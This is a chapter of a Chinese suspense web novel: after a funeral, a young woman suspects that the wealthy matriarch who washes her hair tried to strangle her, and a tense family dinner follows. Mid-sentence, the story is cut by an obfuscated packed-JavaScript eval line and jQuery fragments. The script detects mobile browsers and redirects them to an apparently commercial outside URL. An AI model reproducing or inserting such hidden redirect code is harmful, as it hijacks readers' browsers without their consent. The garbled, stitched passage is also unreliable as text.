27. 茶匙 027

作品:《狗血两茶匙[悬疑]

    金培立比何玥高大,天然具备力量优势。


    在被推进去的一瞬间,他两手抓住不锈钢门框,两脚抵住地面,这才避免了买一赠一的火化服务。


    何玥并未就此罢休,她发了狠地用力,大叫:“为什么死的不是你!”


    她的声音穿透长廊,原本闹哄哄的现场霎时安静,无论是等候的家属还是捡骨灰的工作人员,全都侧目而视,看向她。


    “你发什么疯?”


    金培立被她推着,自己两手顶着,扭头喊道:“把我推进去对你能有什么好处?”


    何玥咬着牙,哭喊:“该死的是你!”


    金培立扭头看向一旁的工作人员:“他奶奶的,还愣着干什么?快来人帮忙啊!”


    大概是没见过这样的场景,工作人员大张着嘴在旁边干瞪眼了许久,才被金培立骂醒,过来拉他的手臂。


    严少敏和金诺贤被哭喊声吸引,看了过来。他们看到工作人员围上,将金培立和何玥分开。金培立高举着手臂,要去打何玥。


    金诺贤:“奶奶,要过去吗?”


    严少敏摆手:“吵架罢了。”


    袁虹霞上前劝架,何玥避开了那一巴掌,发疯似的冲出了火化场。


    袁虹霞左右为难,最后快步跟上,嘴上说:“我过去看看,我怕三嫂做傻事。”


    工作人员看看金培立,见做主的人都疯了,只能看向一旁的司马荷生和童鸢,问:“还烧吗?”


    “烧!马上烧!”金培立大声说着,瞪向周围吃瓜的,仿佛在说,“看什么看?”


    那些探寻的目光这才悻悻然缩了回去。


    回到达摩山的时候已经是下午四点,何玥和袁虹霞依旧不见踪影。


    按照习俗,参加完葬礼的人都需要洗头洗澡,到晚上再聚在一起吃饭。


    童鸢身上有伤,虽然已经拆线,但还没有完全闭合,尚且有些发红。医生说,还得继续注意,不能沾水。所以,这段时间她都尽量避免洗头,但今天是不洗不行了。


    她拿出保鲜膜,拉起上衣,侧过身体,对着镜子,艰难缠绕。


    “童童。”


    童鸢绕到背后的手一抖,整管保鲜膜滚到了地上,刚好停在司马荷生脚边。


    司马荷生站在浴室门口,并未表现出丝毫惊讶,只弯腰捡起保鲜膜,说:“我就知道。”


    童鸢愕然。所以这不是不小心,而是故意搞的突击?


    司马荷生:“我来帮你吧。”


    “不不不不用……”


    可司马荷生已经走到她身侧,微微弯腰,按住她的手:“这种事情,你可以找菲的。”


    “我自己就可以。”


    “这样我接你过来就没意义了……紧吗?”


    “不……刚好。”


    保鲜膜在腰间一圈圈缠绕,童鸢只要一低头,就能看到司马荷生的鼻尖和发旋。原本紧张的神经在沉香的安抚下渐渐放松下来。


    只听见刺啦一声,司马荷生将薄膜的末端贴紧,对童鸢说:“来我房间。”


    “……啊?”


    这是童鸢第一次光明正大地进来主人房。司马荷生将阳光房里的躺椅搬了过来,架到浴缸边上,形成一个不太标准的T字。


    司马荷生:“躺上去吧。”


    童鸢终于明白她要做什么,差点落荒而逃,被司马荷生按了上去。


    “怎么这么抗拒呢?”司马荷生问她,“你小时候,难道妈妈没有这样帮你洗过头吗?”


    童鸢一怔,不知是该摇头还是该点头,最后只能顺从地躺在上面。


    司马荷生的技法不算纯熟,也可能是因为害怕弄疼她,每一下都小心翼翼,反倒像上了催眠香,叫人昏昏欲睡。


    童鸢提醒自己不能睡过去。本来叫司马夫人给自己洗头已经不合礼数,若是还在过程中睡过去,这不真把这里当理发店了吗?


    她把两只眼睛睁得猛猛大,盯着天花板数瓷砖,数着数着,她问司马荷生:“三嫂和四嫂好像还没回来。”


    司马荷生:“是啊,也不知道去哪了,可能正四处散心。”


    童鸢:“也是……总会难过的。”


    “你一个人在这里,家里人应该也会担心吧。”


    “嗯……”童鸢不知道。应该,会的吧。


    “你为什么选择来裴岛留学?听你的口音,你父母也是裴岛的吗?”


    童鸢的双眼亮了亮,却说:“父亲是裴岛人,后来到哈兰留学,认识了母亲,毕业后就一直留在那了。”


    “哦,难怪。”司马荷生一寸一寸地轻按她的头皮,“那你呢?毕业后也打算留在裴岛?”


    童鸢想起之前提到过的实习申请的事,说:“是的,我喜欢这里。”


    司马荷生起身去拿护发素,只笑笑,没再说什么。


    昨晚金宅灯火通明,童鸢想起童伯成和桃乐丝的葬礼,一夜没睡好,这时得了放松,尽管努力睁着眼皮,却还是在司马荷生的安抚下睡了过去。


    梦里,她又回到了那个火场。消防员一刻不停地往家里灌水,却丝毫不起作用。他们压着她的肩膀,不让她往火场靠近。她看着房顶往下凹陷,看着三人一狗曾经生活的地方轰然坍塌。


    她被浓烟呛到,猛烈咳嗽。


    绝望扼住了她的咽喉。


    她骤然睁开双眼。


    清水在她脑后,经由水龙头,灌入浴缸。她又看见了司马荷生浴室里的鸢尾花瓷砖。


    司马荷生正低头看着她。两人的距离很近,近到可以看到彼此眼里的身影。她的指尖是冰凉的,混合着洗发水的香味,按在童鸢的脖子上。


    脖子上的大动脉一跳一跳,触碰着司马荷生微微用力的指尖,踩着两道不同的节拍。


    童鸢感到恍惚,她不明白现状,她张了张嘴:“……司马夫人?”


    司马荷生看着她,手上的力道缓缓松开。她说:“醒了?我还想给你按按肩膀。”


    “啊,不用……”


    “那要一起洗澡吗?”司马荷生从她身上起来,去拿毛巾,包在她头上。


    童鸢彻底醒了,她从躺椅上起身,说:“不用,洗澡的话,我自己慢慢洗就可以了,比洗头方便。”


    司马荷生站在她身前,轻轻揉搓着毛巾,替她擦去滴落的水珠:“真的?”


    “嗯,真的。”童鸢下意识地后退了一步。


    “好,”司马荷生扬起笑容,“有什么需要,随时找我或者菲。”


    童鸢心底没来由的慌张,随口答应了一个“好”,便急匆匆地跑回自己房间里,关上房门,落锁。


    她靠在门后,看着窗前的全身镜,全身镜倒映着她苍白的脸,以及腰间露出的干燥的保鲜膜。她抬手摸上自己的脖子,生机勃勃的动脉上,印着三个红印。而在脖子的另一侧,童鸢看到了大拇指的抓痕。


    她的眼睛酸了,热的,发烫。


    为什么?她不明白。


    她不明白司马荷生对自己的恨,更不明白的是,如果想杀她的人是司马荷生,为什么还要对她这么好?她到底知不知道面前的这个人就是她的女儿?


    她恍恍惚惚地洗过澡,披上浴袍,想从衣柜里挑一身衣服。奇怪的是,今天之前,她觉得衣柜里的衣服每一件都好看,而今天之后,她看哪一件都觉得不顺眼。她看着躺在一旁的旅行袋,觉得还是自己的衣服舒适。


    如果此时突然换穿自己原来的衣服,算不算是一种无声抗议?


    她叹了口气,从司马荷生的给她的衣柜里挑了身素净的长袖牛仔,套上中领毛衣和开襟连帽衫。柔软的面料,刚好挡住那四颗淡淡的指印。


    下楼时,司马荷生已经在客厅里等她。她正用电脑处理工作,刷新新闻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17020843|190981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听到脚步声后,抬头看向她:“都洗好了?”


    “嗯,洗好了。”


    对方一脸无事发生的神色,童鸢只好扯起嘴角,也当是无事发生。


    司马荷生收起电脑,穿上菲递过来的驼色针织外套,朝童鸢伸出手:“那我们走吧。”


    童鸢看着她白皙的手掌,有一瞬间的犹豫,最后还是将自己的手心搭了上去:“好。”


    在司马荷生面前,她好像永远只会说“好”。


    葬礼后的宴会没有大办,只有姓金的几家人围在一起吃饭。这是头一回,餐厅的十五人大桌上坐满了人。其实,也不能算是坐满,因为金老大的妻儿还有金老二的女儿也都还在国外,一时回不来。


    一大张桌子,加上童鸢一个外人,一共坐了十一口人。


    既然金老大回来吃饭,老太太严少敏的两侧自然坐着自己的大儿子,以及唯一还能坐到身旁的小孙子金诺贤,接下来便按照辈分,左右左右地依次排过去。


    童鸢的位次简单,根本不用算,只需要跟着司马荷生,坐到严少敏的正对面就行。


    司马荷生和平日里没什么区别,只慢条斯理地吃饭,一副“金家的事情莫挨老娘”的模样。


    金老大金志立鲜少回来吃饭,他一坐下,不等佣人布菜,便先自己给老佛爷盛了汤。老佛爷笑了,笑出嘴角边上的两颗金牙。


    童鸢没见过金牙长什么样,只觉得有什么金灿灿的东西一闪而过。


    现场没有人动筷,只有老佛爷低头喝着汤。


    金志立看了眼空出来的两个位置,问一旁的老三金培立:“三嫂和四嫂还没回来吗?”


    金培立看着手机,头也不抬:“可能是到哪家美容院消费去了吧。”


    严少敏从汤的蒸汽中抬起眼皮:“美容院?天天去美容院,很贵的吧。”


    金培立闻言,总算看了眼自己母亲,说:“人总得有些嗜好的。妈,要不要给你张罗几局麻将?”


    “哼,我打麻将是赢钱的,她们去美容院是去送钱的。”


    肖月娥笑着插嘴道:“三嫂我不知,但四嫂我还是了解的。她时常在司马伯爵加班到很晚才回来,偶尔到美容院,不过是花自己的钱慰劳一下自己罢了。”


    严少敏:“我知道虹霞孝顺,可那个何玥,我却看不懂。”


    正说着,孝顺的不孝顺的都回来了。


    何玥早已收起眼泪,可原本的一对大双眼皮还是被哭肿了,成了一单一双一对文武眼。袁虹霞张罗起不咸不淡的笑容,说:“哎呀,说了让你们别等。”


    严少敏:“干什么去了?”


    袁虹霞:“三嫂太伤心,我陪她散心去了。”


    严少敏低声喃喃:“……净添乱。”


    那声音很低,可在空旷的大厅里,在安静的氛围下,还是如突然响起的电话铃声般刺耳。


    金志立立马道:“三嫂,四嫂,快坐下来吃饭吧。这段时间,大家应该都累了。”


    肖月娥和其他人也跟着附和道:“对,吃吧,吃吧,都饿了。”


    由始至终,何玥都没有说过一句话。


    “不好意思,我去接个电话。”


    二嫂曾秀芬没吃几口,突然放下碗筷,到外面打电话去了,再回来时,向来说一不二的气势淡了下来。她看着金恒立,欲言又止。


    “怎么了?”金恒立问她。


    曾秀芬看看左右,低声说:“宴会公司和餐饮部那边的电话,问我们后天的寿宴还办不办?”


    严少敏耳聪目明:“办,为什么不办?”


    何玥刚夹着一块牛肉,在嘴边停了许久,久到餐桌上的电动转盘转完一圈,她才把牛肉送到嘴里,干巴巴地咽下去。


    “都听老太太的。”


    她擦拭着嘴角。


    童鸢看到,餐巾纸底下隐藏着的一抹诡异的笑。